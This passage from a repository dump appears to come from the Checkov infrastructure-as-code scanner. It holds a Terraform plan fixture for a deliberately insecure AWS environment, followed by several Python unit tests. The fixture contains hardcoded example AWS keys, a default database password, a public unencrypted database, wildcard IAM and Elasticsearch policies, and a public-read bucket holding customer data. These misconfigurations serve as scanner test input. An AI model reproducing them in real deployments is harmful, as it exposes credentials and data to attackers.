"publicly_accessible": { "constant_value": true }, "skip_final_snapshot": { "constant_value": true }, "storage_encrypted": { "constant_value": false }, "tags": { "references": [ "local.resource_prefix", "local.resource_prefix" ] }, "username": { "constant_value": "admin" }, "vpc_security_group_ids": { "references": [ "aws_security_group.default" ] } }, "schema_version": 1 }, { "address": "aws_db_option_group.default", "mode": "managed", "type": "aws_db_option_group", "name": "default", "provider_config_key": "aws", "expressions": { "engine_name": { "constant_value": "mysql" }, "major_engine_version": { "constant_value": "8.0" }, "name": { "references": [ "local.resource_prefix" ] }, "option_group_description": { "constant_value": "Terraform OG" }, "tags": { "references": [ "local.resource_prefix", "local.resource_prefix" ] } }, "schema_version": 0 }, { "address": "aws_db_parameter_group.default", "mode": "managed", "type": "aws_db_parameter_group", "name": "default", "provider_config_key": "aws", "expressions": { "description": { "constant_value": "Terraform PG" }, "family": { "constant_value": "mysql8.0" }, "name": { "references": [ "local.resource_prefix" ] }, "parameter": [ { "apply_method": { "constant_value": "immediate" }, "name": { "constant_value": "character_set_client" }, "value": { "constant_value": "utf8" } }, { "apply_method": { "constant_value": "immediate" }, "name": { "constant_value": "character_set_server" }, "value": { "constant_value": "utf8" } } ], "tags": { "references": [ "local.resource_prefix", "local.resource_prefix" ] } }, "schema_version": 0 }, { "address": "aws_db_subnet_group.default", "mode": "managed", "type": "aws_db_subnet_group", "name": "default", "provider_config_key": "aws", "expressions": { "description": { "constant_value": "Terraform DB Subnet Group" }, "name": { "references": [ "local.resource_prefix" ] }, "subnet_ids": { "references": [ "aws_subnet.web_subnet", "aws_subnet.web_subnet2" ] }, "tags": { "references": [ "local.resource_prefix", "local.resource_prefix" ] } }, "schema_version": 0 }, { "address": "aws_ebs_snapshot.example_snapshot", "mode": "managed", "type": "aws_ebs_snapshot", "name": "example_snapshot", "provider_config_key": "aws", "expressions": { "description": { "references": [ "local.resource_prefix" ] }, "tags": { "references": [ "local.resource_prefix" ] }, "volume_id": { "references": [ "aws_ebs_volume.web_host_storage" ] } }, "schema_version": 0 }, { "address": "aws_ebs_volume.web_host_storage", "mode": "managed", "type": "aws_ebs_volume", "name": "web_host_storage", "provider_config_key": "aws", "expressions": { "availability_zone": { "references": [ "var.availability_zone" ] }, "size": { "constant_value": 1 }, "tags": { "references": [ "local.resource_prefix" ] } }, "schema_version": 0 }, { "address": "aws_ecr_repository.repository", "mode": "managed", "type": "aws_ecr_repository", "name": "repository", "provider_config_key": "aws", "expressions": { "image_tag_mutability": { "constant_value": "MUTABLE" }, "name": { "references": [ "local.resource_prefix" ] }, "tags": { "references": [ "local.resource_prefix" ] } }, "schema_version": 0 }, { "address": "aws_eks_cluster.eks_cluster", "mode": "managed", "type": "aws_eks_cluster", "name": "eks_cluster", "provider_config_key": "aws", "expressions": { "name": { "references": [ "local.eks_name" ] }, "role_arn": { "references": [ "aws_iam_role.iam_for_eks" ] }, "vpc_config": [ { "endpoint_private_access": { "constant_value": true }, "subnet_ids": { "references": [ "aws_subnet.eks_subnet1", "aws_subnet.eks_subnet2" ] } } ] }, "schema_version": 0, "depends_on": [ "aws_iam_role_policy_attachment.policy_attachment-AmazonEKSClusterPolicy", "aws_iam_role_policy_attachment.policy_attachment-AmazonEKSServicePolicy" ] }, { "address": "aws_elasticsearch_domain.monitoring-framework", "mode": "managed", "type": "aws_elasticsearch_domain", "name": "monitoring-framework", "provider_config_key": "aws", "expressions": { "cluster_config": [ { "dedicated_master_count": { "constant_value": 1 }, "dedicated_master_enabled": { "constant_value": false }, "dedicated_master_type": { "constant_value": "m4.large.elasticsearch" }, "instance_count": { "constant_value": 1 }, "instance_type": { "constant_value": "t2.small.elasticsearch" } } ], "domain_name": { "references": [ "var.environment" ] }, "ebs_options": [ { "ebs_enabled": { "constant_value": true }, "volume_size": { "constant_value": 30 } } ], "elasticsearch_version": { "constant_value": "2.3" } }, "schema_version": 0 }, { "address": "aws_elasticsearch_domain_policy.monitoring-framework-policy", "mode": "managed", "type": "aws_elasticsearch_domain_policy", "name": "monitoring-framework-policy", "provider_config_key": "aws", "expressions": { "access_policies": { "references": [ "data.aws_iam_policy_document.policy" ] }, "domain_name": { "references": [ "aws_elasticsearch_domain.monitoring-framework" ] } }, "schema_version": 0 }, { "address": "aws_elb.weblb", "mode": "managed", "type": "aws_elb", "name": "weblb", "provider_config_key": "aws", "expressions": { "connection_draining": { "constant_value": true }, "connection_draining_timeout": { "constant_value": 400 }, "cross_zone_load_balancing": { "constant_value": true }, "health_check": [ { "healthy_threshold": { "constant_value": 2 }, "interval": { "constant_value": 30 }, "target": { "constant_value": "HTTP:8000/" }, "timeout": { "constant_value": 3 }, "unhealthy_threshold": { "constant_value": 2 } } ], "idle_timeout": { "constant_value": 400 }, "instances": { "references": [ "aws_instance.web_host" ] }, "listener": [ { "instance_port": { "constant_value": 8000 }, "instance_protocol": { "constant_value": "http" }, "lb_port": { "constant_value": 80 }, "lb_protocol": { "constant_value": "http" } } ], "name": { "constant_value": "weblb-terraform-elb" }, "security_groups": { "references": [ "aws_security_group.web-node" ] }, "subnets": { "references": [ "aws_subnet.web_subnet" ] }, "tags": { "constant_value": { "Name": "foobar-terraform-elb" } } }, "schema_version": 0 }, { "address": "aws_flow_log.vpcflowlogs", "mode": "managed", "type": "aws_flow_log", "name": "vpcflowlogs", "provider_config_key": "aws", "expressions": { "log_destination": { "references": [ "aws_s3_bucket.flowbucket" ] }, "log_destination_type": { "constant_value": "s3" }, "tags": { "references": [ "local.resource_prefix", "local.resource_prefix" ] }, "traffic_type": { "constant_value": "ALL" }, "vpc_id": { "references": [ "aws_vpc.web_vpc" ] } }, "schema_version": 0 }, { "address": "aws_iam_access_key.user", "mode": "managed", "type": "aws_iam_access_key", "name": "user", "provider_config_key": "aws", "expressions": { "user": { "references": [ "aws_iam_user.user" ] } }, "schema_version": 0 }, { "address": "aws_iam_instance_profile.ec2profile", "mode": "managed", "type": "aws_iam_instance_profile", "name": "ec2profile", "provider_config_key": "aws", "expressions": { "name": { "references": [ "local.resource_prefix" ] }, "role": { "references": [ "aws_iam_role.ec2role" ] } }, "schema_version": 0 }, { "address": "aws_iam_role.ec2role", "mode": "managed", "type": "aws_iam_role", "name": "ec2role", "provider_config_key": "aws", "expressions": { "assume_role_policy": { "constant_value": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": \"sts:AssumeRole\",\n \"Principal\": {\n \"Service\": \"ec2.amazonaws.com\"\n },\n \"Effect\": \"Allow\",\n \"Sid\": \"\"\n }\n ]\n}\n" }, "name": { "references": [ "local.resource_prefix" ] }, "path": { "constant_value": "/" }, "tags": { "references": [ "local.resource_prefix", "local.resource_prefix" ] } }, "schema_version": 0 }, { "address": "aws_iam_role.iam_for_eks", "mode": "managed", "type": "aws_iam_role", "name": "iam_for_eks", "provider_config_key": "aws", "expressions": { "assume_role_policy": { "references": [ "data.aws_iam_policy_document.iam_policy_eks" ] }, "name": { "references": [ "local.resource_prefix" ] } }, "schema_version": 0 }, { "address": "aws_iam_role.iam_for_lambda", "mode": "managed", "type": "aws_iam_role", "name": "iam_for_lambda", "provider_config_key": "aws", "expressions": { "assume_role_policy": { "constant_value": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": \"sts:AssumeRole\",\n \"Principal\": {\n \"Service\": \"lambda.amazonaws.com\"\n },\n \"Effect\": \"Allow\",\n \"Sid\": \"\"\n }\n ]\n}\n" }, "name": { "references": [ "local.resource_prefix" ] } }, "schema_version": 0 }, { "address": "aws_iam_role_policy.ec2policy", "mode": "managed", "type": "aws_iam_role_policy", "name": "ec2policy", "provider_config_key": "aws", "expressions": { "name": { "references": [ "local.resource_prefix" ] }, "policy": { "constant_value": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": [\n \"s3:*\",\n \"ec2:*\",\n \"rds:*\"\n ],\n \"Effect\": \"Allow\",\n \"Resource\": \"*\"\n }\n ]\n}\n" }, "role": { "references": [ "aws_iam_role.ec2role" ] } }, "schema_version": 0 }, { "address": "aws_iam_role_policy_attachment.policy_attachment-AmazonEKSClusterPolicy", "mode": "managed", "type": "aws_iam_role_policy_attachment", "name": "policy_attachment-AmazonEKSClusterPolicy", "provider_config_key": "aws", "expressions": { "policy_arn": { "constant_value": "arn:aws:iam::aws:policy/AmazonEKSClusterPolicy" }, "role": { "references": [ "aws_iam_role.iam_for_eks" ] } }, "schema_version": 0 }, { "address": "aws_iam_role_policy_attachment.policy_attachment-AmazonEKSServicePolicy", "mode": "managed", "type": "aws_iam_role_policy_attachment", "name": "policy_attachment-AmazonEKSServicePolicy", "provider_config_key": "aws", "expressions": { "policy_arn": { "constant_value": "arn:aws:iam::aws:policy/AmazonEKSServicePolicy" }, "role": { "references": [ "aws_iam_role.iam_for_eks" ] } }, "schema_version": 0 }, { "address": "aws_iam_user.user", "mode": "managed", "type": "aws_iam_user", "name": "user", "provider_config_key": "aws", "expressions": { "force_destroy": { "constant_value": true }, "name": { "references": [ "local.resource_prefix" ] }, "tags": { "references": [ "local.resource_prefix", "local.resource_prefix" ] } }, "schema_version": 0 }, { "address": "aws_iam_user_policy.userpolicy", "mode": "managed", "type": "aws_iam_user_policy", "name": "userpolicy", "provider_config_key": "aws", "expressions": { "name": { "constant_value": "excess_policy" }, "policy": { "constant_value": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": [\n \"ec2:*\",\n \"s3:*\",\n \"lambda:*\",\n \"cloudwatch:*\"\n ],\n \"Effect\": \"Allow\",\n \"Resource\": \"*\"\n }\n ]\n}\n" }, "user": { "references": [ "aws_iam_user.user" ] } }, "schema_version": 0 }, { "address": "aws_instance.db_app", "mode": "managed", "type": "aws_instance", "name": "db_app", "provider_config_key": "aws", "expressions": { "ami": { "references": [ "data.aws_ami.amazon-linux-2" ] }, "iam_instance_profile": { "references": [ "aws_iam_instance_profile.ec2profile" ] }, "instance_type": { "constant_value": "t2.nano" }, "subnet_id": { "references": [ "aws_subnet.web_subnet" ] }, "tags": { "references": [ "local.resource_prefix" ] }, "user_data": { "references": [ "aws_db_instance.default", "aws_db_instance.default", "var.password", "aws_db_instance.default" ] }, "vpc_security_group_ids": { "references": [ "aws_security_group.web-node" ] } }, "schema_version": 1 }, { "address": "aws_instance.web_host", "mode": "managed", "type": "aws_instance", "name": "web_host", "provider_config_key": "aws", "expressions": { "ami": { "references": [ "var.ami" ] }, "instance_type": { "constant_value": "t2.nano" }, "subnet_id": { "references": [ "aws_subnet.web_subnet" ] }, "tags": { "references": [ "local.resource_prefix" ] }, "user_data": { "constant_value": "#! /bin/bash\nsudo apt-get update\nsudo apt-get install -y apache2\nsudo systemctl start apache2\nsudo systemctl enable apache2\nexport AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMAAA\nexport AWS_SECRET_ACCESS_KEY=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\nexport AWS_DEFAULT_REGION=us-west-2\necho \"\u003ch1\u003eDeployed via Terraform\u003c/h1\u003e\" | sudo tee /var/www/html/index.html\n" }, "vpc_security_group_ids": { "references": [ "aws_security_group.web-node" ] } }, "schema_version": 1 }, { "address": "aws_internet_gateway.web_igw", "mode": "managed", "type": "aws_internet_gateway", "name": "web_igw", "provider_config_key": "aws", "expressions": { "tags": { "references": [ "local.resource_prefix" ] }, "vpc_id": { "references": [ "aws_vpc.web_vpc" ] } }, "schema_version": 0 }, { "address": "aws_kms_alias.logs_key_alias", "mode": "managed", "type": "aws_kms_alias", "name": "logs_key_alias", "provider_config_key": "aws", "expressions": { "name": { "references": [ "local.resource_prefix" ] }, "target_key_id": { "references": [ "aws_kms_key.logs_key" ] } }, "schema_version": 0 }, { "address": "aws_kms_key.logs_key", "mode": "managed", "type": "aws_kms_key", "name": "logs_key", "provider_config_key": "aws", "expressions": { "deletion_window_in_days": { "constant_value": 7 }, "description": { "references": [ "local.resource_prefix" ] } }, "schema_version": 0 }, { "address": "aws_lambda_function.analysis_lambda", "mode": "managed", "type": "aws_lambda_function", "name": "analysis_lambda", "provider_config_key": "aws", "expressions": { "environment": [ { "variables": { "constant_value": { "access_key": "AKIAIOSFODNN7EXAMPLE", "secret_key": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY" } } } ], "filename": { "constant_value": "resources/lambda_function_payload.zip" }, "function_name": { "references": [ "local.resource_prefix" ] }, "handler": { "constant_value": "exports.test" }, "role": { "references": [ "aws_iam_role.iam_for_lambda" ] }, "runtime": { "constant_value": "nodejs12.x" }, "source_code_hash": {} }, "schema_version": 0 }, { "address": "aws_neptune_cluster.default", "mode": "managed", "type": "aws_neptune_cluster", "name": "default", "provider_config_key": "aws", "expressions": { "apply_immediately": { "constant_value": true }, "backup_retention_period": { "constant_value": 5 }, "cluster_identifier": { "references": [ "var.neptune-dbname" ] }, "engine": { "constant_value": "neptune" }, "iam_database_authentication_enabled": { "constant_value": false }, "preferred_backup_window": { "constant_value": "07:00-09:00" }, "skip_final_snapshot": { "constant_value": true }, "storage_encrypted": { "constant_value": false } }, "schema_version": 0 }, { "address": "aws_neptune_cluster_instance.default", "mode": "managed", "type": "aws_neptune_cluster_instance", "name": "default", "provider_config_key": "aws", "expressions": { "apply_immediately": { "constant_value": true }, "cluster_identifier": { "references": [ "aws_neptune_cluster.default" ] }, "engine": { "constant_value": "neptune" }, "instance_class": { "constant_value": "db.t3.medium" } }, "schema_version": 0, "count_expression": { "constant_value": 1 } }, { "address": "aws_neptune_cluster_snapshot.default", "mode": "managed", "type": "aws_neptune_cluster_snapshot", "name": "default", "provider_config_key": "aws", "expressions": { "db_cluster_identifier": { "references": [ "aws_neptune_cluster.default" ] }, "db_cluster_snapshot_identifier": { "constant_value": "resourcetestsnapshot1" } }, "schema_version": 0 }, { "address": "aws_network_interface.web-eni", "mode": "managed", "type": "aws_network_interface", "name": "web-eni", "provider_config_key": "aws", "expressions": { "private_ips": { "constant_value": [ "172.16.10.100" ] }, "subnet_id": { "references": [ "aws_subnet.web_subnet" ] }, "tags": { "references": [ "local.resource_prefix" ] } }, "schema_version": 0 }, { "address": "aws_route.public_internet_gateway", "mode": "managed", "type": "aws_route", "name": "public_internet_gateway", "provider_config_key": "aws", "expressions": { "destination_cidr_block": { "constant_value": "0.0.0.0/0" }, "gateway_id": { "references": [ "aws_internet_gateway.web_igw" ] }, "route_table_id": { "references": [ "aws_route_table.web_rtb" ] }, "timeouts": { "create": { "constant_value": "5m" } } }, "schema_version": 0 }, { "address": "aws_route_table.web_rtb", "mode": "managed", "type": "aws_route_table", "name": "web_rtb", "provider_config_key": "aws", "expressions": { "tags": { "references": [ "local.resource_prefix" ] }, "vpc_id": { "references": [ "aws_vpc.web_vpc" ] } }, "schema_version": 0 }, { "address": "aws_route_table_association.rtbassoc", "mode": "managed", "type": "aws_route_table_association", "name": "rtbassoc", "provider_config_key": "aws", "expressions": { "route_table_id": { "references": [ "aws_route_table.web_rtb" ] }, "subnet_id": { "references": [ "aws_subnet.web_subnet" ] } }, "schema_version": 0 }, { "address": "aws_route_table_association.rtbassoc2", "mode": "managed", "type": "aws_route_table_association", "name": "rtbassoc2", "provider_config_key": "aws", "expressions": { "route_table_id": { "references": [ "aws_route_table.web_rtb" ] }, "subnet_id": { "references": [ "aws_subnet.web_subnet2" ] } }, "schema_version": 0 }, { "address": "aws_s3_bucket.data", "mode": "managed", "type": "aws_s3_bucket", "name": "data", "provider_config_key": "aws", "expressions": { "acl": { "constant_value": "public-read" }, "bucket": { "references": [ "local.resource_prefix" ] }, "force_destroy": { "constant_value": true }, "tags": { "references": [ "local.resource_prefix", "local.resource_prefix" ] } }, "schema_version": 0 }, { "address": "aws_s3_bucket.data_science", "mode": "managed", "type": "aws_s3_bucket", "name": "data_science", "provider_config_key": "aws", "expressions": { "acl": { "constant_value": "private" }, "bucket": { "references": [ "local.resource_prefix" ] }, "force_destroy": { "constant_value": true }, "logging": [ { "target_bucket": { "references": [ "aws_s3_bucket.logs" ] }, "target_prefix": { "constant_value": "log/" } } ], "versioning": [ { "enabled": { "constant_value": true } } ] }, "schema_version": 0 }, { "address": "aws_s3_bucket.financials", "mode": "managed", "type": "aws_s3_bucket", "name": "financials", "provider_config_key": "aws", "expressions": { "acl": { "constant_value": "private" }, "bucket": { "references": [ "local.resource_prefix" ] }, "force_destroy": { "constant_value": true }, "tags": { "references": [ "local.resource_prefix", "local.resource_prefix" ] } }, "schema_version": 0 }, { "address": "aws_s3_bucket.flowbucket", "mode": "managed", "type": "aws_s3_bucket", "name": "flowbucket", "provider_config_key": "aws", "expressions": { "bucket": { "references": [ "local.resource_prefix" ] }, "force_destroy": { "constant_value": true }, "tags": { "references": [ "local.resource_prefix", "local.resource_prefix" ] } }, "schema_version": 0 }, { "address": "aws_s3_bucket.logs", "mode": "managed", "type": "aws_s3_bucket", "name": "logs", "provider_config_key": "aws", "expressions": { "acl": { "constant_value": "log-delivery-write" }, "bucket": { "references": [ "local.resource_prefix" ] }, "force_destroy": { "constant_value": true }, "server_side_encryption_configuration": [ { "rule": [ { "apply_server_side_encryption_by_default": [ { "kms_master_key_id": { "references": [ "aws_kms_key.logs_key" ] }, "sse_algorithm": { "constant_value": "aws:kms" } } ] } ] } ], "tags": { "references": [ "local.resource_prefix", "local.resource_prefix" ] }, "versioning": [ { "enabled": { "constant_value": true } } ] }, "schema_version": 0 }, { "address": "aws_s3_bucket.operations", "mode": "managed", "type": "aws_s3_bucket", "name": "operations", "provider_config_key": "aws", "expressions": { "acl": { "constant_value": "private" }, "bucket": { "references": [ "local.resource_prefix" ] }, "force_destroy": { "constant_value": true }, "tags": { "references": [ "local.resource_prefix", "local.resource_prefix" ] }, "versioning": [ { "enabled": { "constant_value": true } } ] }, "schema_version": 0 }, { "address": "aws_s3_bucket_object.data_object", "mode": "managed", "type": "aws_s3_bucket_object", "name": "data_object", "provider_config_key": "aws", "expressions": { "bucket": { "references": [ "aws_s3_bucket.data" ] }, "key": { "constant_value": "customer-master.xlsx" }, "source": { "constant_value": "resources/customer-master.xlsx" }, "tags": { "references": [ "local.resource_prefix", "local.resource_prefix" ] } }, "schema_version": 0 }, { "address": "aws_security_group.default", "mode": "managed", "type": "aws_security_group", "name": "default", "provider_config_key": "aws", "expressions": { "name": { "references": [ "local.resource_prefix" ] }, "tags": { "references": [ "local.resource_prefix", "local.resource_prefix" ] }, "vpc_id": { "references": [ "aws_vpc.web_vpc" ] } }, "schema_version": 1 }, { "address": "aws_security_group.web-node", "mode": "managed", "type": "aws_security_group", "name": "web-node", "provider_config_key": "aws", "expressions": { "description": { "references": [ "local.resource_prefix" ] }, "name": { "references": [ "local.resource_prefix" ] }, "vpc_id": { "references": [ "aws_vpc.web_vpc" ] } }, "schema_version": 1, "depends_on": [ "aws_vpc.web_vpc" ] }, { "address": "aws_security_group_rule.egress", "mode": "managed", "type": "aws_security_group_rule", "name": "egress", "provider_config_key": "aws", "expressions": { "cidr_blocks": { "constant_value": [ "0.0.0.0/0" ] }, "from_port": { "constant_value": 0 }, "protocol": { "constant_value": "-1" }, "security_group_id": { "references": [ "aws_security_group.default" ] }, "to_port": { "constant_value": 0 }, "type": { "constant_value": "egress" } }, "schema_version": 2 }, { "address": "aws_security_group_rule.ingress", "mode": "managed", "type": "aws_security_group_rule", "name": "ingress", "provider_config_key": "aws", "expressions": { "cidr_blocks": { "references": [ "aws_vpc.web_vpc" ] }, "from_port": { "constant_value": "3306" }, "protocol": { "constant_value": "tcp" }, "security_group_id": { "references": [ "aws_security_group.default" ] }, "to_port": { "constant_value": "3306" }, "type": { "constant_value": "ingress" } }, "schema_version": 2 }, { "address": "aws_subnet.eks_subnet1", "mode": "managed", "type": "aws_subnet", "name": "eks_subnet1", "provider_config_key": "aws", "expressions": { "availability_zone": { "references": [ "var.availability_zone" ] }, "cidr_block": { "constant_value": "10.10.10.0/24" }, "map_public_ip_on_launch": { "constant_value": true }, "tags": { "references": [ "local.resource_prefix", "local.eks_name" ] }, "vpc_id": { "references": [ "aws_vpc.eks_vpc" ] } }, "schema_version": 1 }, { "address": "aws_subnet.eks_subnet2", "mode": "managed", "type": "aws_subnet", "name": "eks_subnet2", "provider_config_key": "aws", "expressions": { "availability_zone": { "references": [ "var.availability_zone2" ] }, "cidr_block": { "constant_value": "10.10.11.0/24" }, "map_public_ip_on_launch": { "constant_value": true }, "tags": { "references": [ "local.resource_prefix", "local.eks_name" ] }, "vpc_id": { "references": [ "aws_vpc.eks_vpc" ] } }, "schema_version": 1 }, { "address": "aws_subnet.web_subnet", "mode": "managed", "type": "aws_subnet", "name": "web_subnet", "provider_config_key": "aws", "expressions": { "availability_zone": { "references": [ "var.availability_zone" ] }, "cidr_block": { "constant_value": "172.16.10.0/24" }, "map_public_ip_on_launch": { "constant_value": true }, "tags": { "references": [ "local.resource_prefix" ] }, "vpc_id": { "references": [ "aws_vpc.web_vpc" ] } }, "schema_version": 1 }, { "address": "aws_subnet.web_subnet2", "mode": "managed", "type": "aws_subnet", "name": "web_subnet2", "provider_config_key": "aws", "expressions": { "availability_zone": { "references": [ "var.availability_zone2" ] }, "cidr_block": { "constant_value": "172.16.11.0/24" }, "map_public_ip_on_launch": { "constant_value": true }, "tags": { "references": [ "local.resource_prefix" ] }, "vpc_id": { "references": [ "aws_vpc.web_vpc" ] } }, "schema_version": 1 }, { "address": "aws_volume_attachment.ebs_att", "mode": "managed", "type": "aws_volume_attachment", "name": "ebs_att", "provider_config_key": "aws", "expressions": { "device_name": { "constant_value": "/dev/sdh" }, "instance_id": { "references": [ "aws_instance.web_host" ] }, "volume_id": { "references": [ "aws_ebs_volume.web_host_storage" ] } }, "schema_version": 0 }, { "address": "aws_vpc.eks_vpc", "mode": "managed", "type": "aws_vpc", "name": "eks_vpc", "provider_config_key": "aws", "expressions": { "cidr_block": { "constant_value": "10.10.0.0/16" }, "enable_dns_hostnames": { "constant_value": true }, "enable_dns_support": { "constant_value": true }, "tags": { "references": [ "local.resource_prefix" ] } }, "schema_version": 1 }, { "address": "aws_vpc.web_vpc", "mode": "managed", "type": "aws_vpc", "name": "web_vpc", "provider_config_key": "aws", "expressions": { "cidr_block": { "constant_value": "172.16.0.0/16" }, "enable_dns_hostnames": { "constant_value": true }, "enable_dns_support": { "constant_value": true }, "tags": { "references": [ "local.resource_prefix" ] } }, "schema_version": 1 }, { "address": "null_resource.push_image", "mode": "managed", "type": "null_resource", "name": "push_image", "provider_config_key": "null", "provisioners": [ { "type": "local-exec", "expressions": { "command": { "references": [ "var.region", "data.aws_caller_identity.current", "var.region", "aws_ecr_repository.repository", "aws_ecr_repository.repository", "local.docker_image", "local.docker_image" ] }, "working_dir": { "references": [ "path.module" ] } } } ], "schema_version": 0 }, { "address": "data.aws_ami.amazon-linux-2", "mode": "data", "type": "aws_ami", "name": "amazon-linux-2", "provider_config_key": "aws", "expressions": { "filter": [ { "name": { "constant_value": "owner-alias" }, "values": { "constant_value": [ "amazon" ] } }, { "name": { "constant_value": "name" }, "values": { "constant_value": [ "amzn2-ami-hvm-*-x86_64-ebs" ] } } ], "most_recent": { "constant_value": true }, "owners": { "constant_value": [ "amazon" ] } }, "schema_version": 0 }, { "address": "data.aws_caller_identity.current", "mode": "data", "type": "aws_caller_identity", "name": "current", "provider_config_key": "aws", "schema_version": 0 }, { "address": "data.aws_iam_policy_document.iam_policy_eks", "mode": "data", "type": "aws_iam_policy_document", "name": "iam_policy_eks", "provider_config_key": "aws", "expressions": { "statement": [ { "actions": { "constant_value": [ "sts:AssumeRole" ] }, "effect": { "constant_value": "Allow" }, "principals": [ { "identifiers": { "constant_value": [ "eks.amazonaws.com" ] }, "type": { "constant_value": "Service" } } ] } ] }, "schema_version": 0 }, { "address": "data.aws_iam_policy_document.policy", "mode": "data", "type": "aws_iam_policy_document", "name": "policy", "provider_config_key": "aws", "expressions": { "statement": [ { "actions": { "constant_value": [ "es:*" ] }, "principals": [ { "identifiers": { "constant_value": [ "*" ] }, "type": { "constant_value": "AWS" } } ], "resources": { "constant_value": [ "*" ] } } ] }, "schema_version": 0 } ], "variables": { "ami": { "default": "ami-09a5b0b7edf08843d" }, "availability_zone": { "default": "us-west-2a" }, "availability_zone2": { "default": "us-west-2b" }, "company_name": { "default": "acme" }, "dbname": { "default": "db1", "description": "Name of the Database" }, "environment": { "default": "dev" }, "neptune-dbname": { "default": "neptunedb1", "description": "Name of the Neptune graph database" }, "password": { "default": "Aa1234321Bb", "description": "Database password" }, "profile": { "default": "default" }, "region": { "default": "us-west-2" } } } } } ================================================ FILE: tests/terraform/test_provider_tags.py ================================================ import pytest from checkov.terraform.tag_providers import get_provider_tag @pytest.mark.parametrize("resource_type, expected", [ ("aws_instance.example", "aws"), ("module.test.aws_instance.example", "aws"), ("azure_instance.example", "azure"), ("google_instance.example", "gcp"), ]) def test_get_provider_tag(resource_type, expected) -> None: assert get_provider_tag(resource_type) == expected ================================================ FILE: tests/terraform/test_scanner_registry.py ================================================ import unittest from copy import deepcopy # do not remove this - prevents circular import dependency from checkov.common.bridgecrew.integration_features.features.policy_metadata_integration import integration as metadata_integration # noqa from checkov.common.checks_infra.checks_parser import GraphCheckParser from checkov.common.checks_infra.registry import Registry from checkov.terraform.checks.resource.registry import resource_registry as registry from pathlib import Path class TestScannerRegistry(unittest.TestCase): def setUp(self): self.checks = deepcopy(registry.checks) def tearDown(self) -> None: registry.checks = self.checks def test_num_of_scanners(self): scanners_counter = 0 for key in list(registry.checks.keys()): scanners_counter += len(registry.checks[key]) self.assertGreater(scanners_counter, 1) def test_non_colliding_check_ids(self): check_id_check_class_map = {} for (resource_type, checks) in registry.checks.items(): for check in checks: check_id_check_class_map.setdefault(check.id, []).append(check) for check_id, check_classes in check_id_check_class_map.items(): self.assertEqual(len(set(check_classes)), 1,"collision on check_id={}".format(check_id)) def test_non_colliding_graph_check_ids(self): check_id_check_class_map = {} graph_registry = Registry(parser=GraphCheckParser(), checks_dir=str(Path(__file__).parent.parent.parent / "checkov" / "terraform" / "checks" / "graph_checks")) graph_registry.load_checks() for check in graph_registry.checks: check_id_check_class_map.setdefault(check.id, []).append(check) for check_id, check_classes in check_id_check_class_map.items(): self.assertEqual(len(set(check_classes)), 1,"collision on check_id={}".format(check_id)) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/util/__init__.py ================================================ ================================================ FILE: tests/terraform/util/test_doc_generator.py ================================================ from __future__ import annotations import inspect from pathlib import Path import pytest from checkov.common.checks_infra.registry import get_graph_checks_registry from checkov.common.bridgecrew.check_type import CheckType from checkov.docs_generator import get_checks def test_get_checks_returned_check_number(): checks = get_checks(["all"]) assert len(checks) > 0 checks = get_checks() assert len(checks) > 0 checks = get_checks(["example"]) assert len(checks) == 0 @pytest.mark.parametrize( "input_frameworks,expected_frameworks", [ ( ["all"], { "Ansible", "Argo Workflows", "arm", "Azure Pipelines", "Bicep", "Cloudformation", "dockerfile", "Kubernetes", "secrets", "serverless", "Terraform", "github_configuration", "gitlab_configuration", "bitbucket_configuration", "bitbucket_pipelines", "circleci_pipelines", "github_actions", "OpenAPI", "gitlab_ci", }, ), ( None, { "Ansible", "Argo Workflows", "arm", "Azure Pipelines", "Bicep", "Cloudformation", "dockerfile", "Kubernetes", "secrets", "serverless", "Terraform", "github_configuration", "bitbucket_pipelines", "circleci_pipelines", "gitlab_configuration", "bitbucket_configuration", "github_actions", "OpenAPI", "gitlab_ci", }, ), (["terraform"], {"Terraform"}), (["cloudformation", "serverless"], {"Cloudformation", "serverless"}), ], ids=["all", "none", "terraform", "multiple"], ) def test_get_checks_returned_frameworks(input_frameworks: list[str] | None, expected_frameworks: set[str]): # when checks = get_checks(input_frameworks) # then actual_frameworks = {c[4] for c in checks} assert actual_frameworks == expected_frameworks def test_get_checks_graph_registries(): """ For a runner that has graph_checks, the graph registry for that runner should be loaded and returned by the get_checks method. """ checkov_runners = [value for attr, value in CheckType.__dict__.items() if not attr.startswith("__")] for runner in checkov_runners: graph_registry = get_graph_checks_registry(runner) if Path(graph_registry.checks_dir).is_dir(): assert f'get_graph_checks_registry("{runner}")' in inspect.getsource(get_checks) ================================================ FILE: tests/terraform/util/test_iam_converter.py ================================================ import unittest from checkov.terraform.checks.utils.iam_terraform_document_to_policy_converter import ( convert_terraform_conf_to_iam_policy, ) class TestIAMConverter(unittest.TestCase): def test_iam_converter(self): conf = {'version': ['2012-10-17'], 'statement': [{'actions': [['*']], 'resources': [['*']]}]} expected_result = {'version': ['2012-10-17'], 'Statement': [{'Action': ['*'], 'Resource': ['*'], 'Effect': 'Allow'}]} result = convert_terraform_conf_to_iam_policy(conf) self.assertDictEqual(result, expected_result) self.assertNotEqual(result, conf) def test_convert_condition(self): # given conf = { "__end_line__": 77, "__start_line__": 42, "statement": [ { "actions": [["kms:Decrypt", "kms:GenerateDataKey"]], "condition": [ { "test": ["ForAnyValue:StringEquals"], "values": [["pi"]], "variable": ["kms:EncryptionContext:service"], }, { "test": ["ForAnyValue:StringEquals"], "values": [["rds"]], "variable": ["kms:EncryptionContext:aws:pi:service"], }, { "test": ["ForAnyValue:StringEquals"], "values": [["db-AAAAABBBBBCCCCCDDDDDEEEEE", "db-EEEEEDDDDDCCCCCBBBBBAAAAA"]], "variable": ["kms:EncryptionContext:aws:rds:db-id"], }, {"test": ["ArnEquals"], "values": [["arn"]], "variable": ["aws:SourceArn"]}, ], "resources": [["*"]], } ], "__address__": "aws_iam_policy_document.example_multiple_condition_keys_and_values", } result = convert_terraform_conf_to_iam_policy(conf) self.assertDictEqual( result, { "__end_line__": 77, "__start_line__": 42, "__address__": "aws_iam_policy_document.example_multiple_condition_keys_and_values", "Statement": [ { "Action": ["kms:Decrypt", "kms:GenerateDataKey"], "Resource": ["*"], "Effect": "Allow", "Condition": { "ForAnyValue:StringEquals": { 